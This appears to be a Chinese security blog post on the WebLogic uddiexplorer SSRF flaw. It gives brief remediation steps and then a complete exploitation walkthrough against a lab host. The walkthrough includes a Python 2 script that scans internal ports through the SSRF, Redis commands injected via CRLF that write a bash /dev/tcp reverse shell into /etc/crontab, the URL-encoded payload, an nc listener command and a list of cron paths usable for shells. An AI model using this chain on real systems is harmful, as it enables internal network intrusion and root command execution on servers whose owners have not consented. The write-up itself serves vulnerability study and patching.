首页 > 其他分享 >weblogic-SSRF漏洞

weblogic-SSRF漏洞

时间:2023-01-06 09:56:15浏览次数:36  
标签:65% SSRF ip 漏洞 6e% weblogic 74% 20% 0a%

漏洞出现位置与解决方法

Weblogic服务端请求伪造漏洞出现在uddi组件(所以安装Weblogic时如果没有选择uddi组件那么就不会有该漏洞),更准确地说是uudi包实现包uddiexplorer.war下的SearchPublicRegistries.jsp。所以修复的直接方法是将SearchPublicRegistries.jsp直接删除就好了,我们这里采用的是改后辍的方式。 修复步骤如下:
1.将weblogic安装目录下的wlserver_10.3/server/lib/uddiexplorer.war做好备份

2.将weblogic安装目录下的server/lib/uddiexplorer.war下载

3.用winrar等工具打开uddiexplorer.war

4.将其下的SearchPublicRegistries.jsp重命名为SearchPublicRegistries.jspx

5.保存后上传回服务端替换原先的uddiexplorer.war

6.对于多台主机组成的集群,针对每台主机都要做这样的操作

7.由于每个server的tmp目录下都有缓存所以修改后要彻底重启weblogic(即停应用--停server--停控制台--启控制台--启server--启应用)
漏洞复现 1、访问地址,查看是否存在 http://172.21.0.3:7001/uddiexplorer/ 2、SSRF漏洞存在于/uddiexplorer/SearchPublicRegistries.jsp 0 3、使用Burpsuite测试,因为访问的是内网IP,按道理来说应该是拒绝访问的。 4、访问存在的端口时,比如http://127.0.0.1:7001,可访问的端口将回显错误,一般返回内容为status code,如果访问的是非http协议的话,则返回did not have a valid SOAP content-type

 

 

5、访问不存在的端口时,将返回could not connect HTTP server 0 6、可以通过页面返回错误不同,探测内网端口的开放状态,加以利用。

注入HTTP头,利用redis反弹shell

Weblogic的SSRF有一个比较大的特点,其虽然是一个“GET”请求,但是我们可以通过传入%0a%0d来注入换行符,而某些服务(如redis)是通过换行符来分隔每条命令,也就说我们可以通过该SSRF攻击内网中的redis服务器。 首先,通过ssrf探测内网中的redis服务器,应为这个漏洞是用docker环境搭建的,所以redis服务器的内网即是 docker的网段(docker环境的网段一般是172.*): 使用脚本进行探测:
import thread
import time
import re
import requests


def ite_ip(ip):
    for i in range(1, 256):
        final_ip = '{ip}.{i}'.format(ip=ip, i=i)
        print final_ip
        thread.start_new_thread(scan, (final_ip,))
        time.sleep(3)

def scan(final_ip):
    ports = ('21', '22', '23', '53', '80', '135', '139', '443', '445', '1080', '1433', '1521', '3306', '3389', '4899', '8080', '7001', '8000','6389','6379')
    for port in ports:
        vul_url = 'http://172.21.0.3:7001/uddiexplorer/SearchPublicRegistries.jsp?operator=http://%s:%s&rdoSearch=name&txtSearchname=sdf&txtSearchkey=&txtSearchfor=&selfor=Business+location&btnSubmit=Search' % (final_ip,port)
        try:
            #print vul_url
            r = requests.get(vul_url, timeout=15, verify=False)
            result1 = re.findall('weblogic.uddi.client.structures.exception.XML_SoapException',r.content)
            result2 = re.findall('but could not connect', r.content)
            result3 = re.findall('No route to host', r.content)
            if len(result1) != 0 and len(result2) == 0 and len(result3) == 0:
                print '[!]'+final_ip + ':' + port
        except Exception, e:
            pass


if __name__ == '__main__':
    ip = "172.21.0"
    if ip:
        print ip
        ite_ip(ip)
    else:
        print "no ip"
使用Python2运行后得到: 0 发现存在6379端口,开放redis服务。 通过发送三条redis命令,将反弹shell脚本写入/etc/crontab
set 1 "\n\n\n\n* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
将三条命令通过GET方式注入,不过需要将命令进行URL编码。(注意换行符是"\r\n",也就是“%0D%0A”)
%74%65%73%74%0d%0a%0d%0a%73%65%74%20%31%20%22%5c%6e%5c%6e%5c%6e%5c%6e%2a%20%2a%20%2a%20%2a%20%2a%20%72%6f%6f%74%20%62%61%73%68%20%2d%69%20%3e%26%20%2f%64%65%76%2f%74%63%70%2f%31%30%2e%32%37%2e%31%2e%31%35%2f%32%31%20%30%3e%26%31%5c%6e%5c%6e%5c%6e%5c%6e%22%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%69%72%20%2f%65%74%63%2f%0d%0a%63%6f%6e%66%69%67%20%73%65%74%20%64%62%66%69%6c%65%6e%61%6d%65%20%63%72%6f%6e%74%61%62%0d%0a%73%61%76%65%0d%0a%0d%0a%61%61%61
把构造好的数据包通过burp继续传输,将URL编码后的字符串放在ssrf的域名后 0 使用nc -lvnp 21进行监听,反弹shell。 0 可利用的cron:
/etc/crontab 这个是肯定的
/etc/cron.d/* 将任意文件写到该目录下,效果和crontab相同,格式也要和/etc/crontab相同。漏洞利用这个目录,可以做到不覆盖任何其他文件的情况进行弹shell。
/var/spool/cron/root centos系统下root用户的cron文件
/var/spool/cron/crontabs/root debian系统下root用户的cron文件

 

标签:65%,SSRF,ip,漏洞,6e%,weblogic,74%,20%,0a%
From: https://www.cnblogs.com/pursue-security/p/17029510.html

相关文章

  • weblogic任意文件上传(CVE-2018-2894)
    漏洞描述Weblogic管理端未授权的两个页面存在任意文件上传漏洞,通过这两个页面可以获取到服务器权限。这两个页面分别是/ws_utc/begin.do,/ws_utc/config.do。利用这两个页......
  • weblogic未授权远程命令执行漏洞
    漏洞编号weblogic未授权漏洞:CVE-2020-14882weblogic命令执行漏洞:CVE-2020-14883漏洞说明CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14......
  • weblogic T3反序列化
    漏洞编号CVE-2021-2135漏洞背景该漏洞是由Hvv中被捕捉到的,WebLogic存在一个T3协议反序列化漏洞,攻击者可利用此漏洞造成远程代码执行影响版本weblogic10.3.6.0漏洞复......
  • Tomcat文件包含及文件读取漏洞(CVE-2020-1938)
    漏洞影响CVE-2020-1938ApacheTomcat9.x<9.0.31ApacheTomcat8.x<8.5.51ApacheTomcat7.x<7.0.100ApacheTomcat6.x漏洞利用前提目标机器开启AJPConnector服务......
  • Kali搭建Vulhub漏洞复现环境
    Kali搭建Vulhub漏洞复现环境一、前言Vulhub是一个基于Docker和Docker-compose的漏洞环境集合,可以帮助我们很方便的搭建包含有各种漏洞的靶场环境,从而使得我们更加方面的......
  • Apache HTTPD 换行解析漏洞(CVE-2017-15715)
    1.漏洞原理ApacheHTTPD是一款HTTP服务器,它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞,在解析PHP时,a.php\x0a将被按照PHP后缀进行解析,导致绕过......
  • 工控协议网关漏洞挖掘与攻击
    ​本文系原创转载请说明出处:信安科研人pleasesubscribemyofficialwechat:信安科研人获取更多安全资讯 原文:IndustrialProtocolGatewaysUnderAnalysis〇摘......
  • osv-scanner google 开源漏洞扫描工具
    osv-scanner是google基于golang编写的开源漏洞扫描工具,支持基于osv数据库的扫描,生态比较好支持的扫描模式lockfilessbomsgit项目说明osv-scanner支持的扫描......
  • CVE-2022-26923 Windows域提权漏洞
    前言ActiveDirectory域服务,是一种目录服务,提供了存储目录数据信息以及用户相关的一些密码,电话号码等等一些数据信息,且可让用户和管理员使用这些数据,有利于域管理员对用......
  • object原型-闭包“漏洞”
    如何在不修改下面代码的情况下,修改objvaro=(function(){varobj={a:'a1',b:'b1'};return{get:function(key)......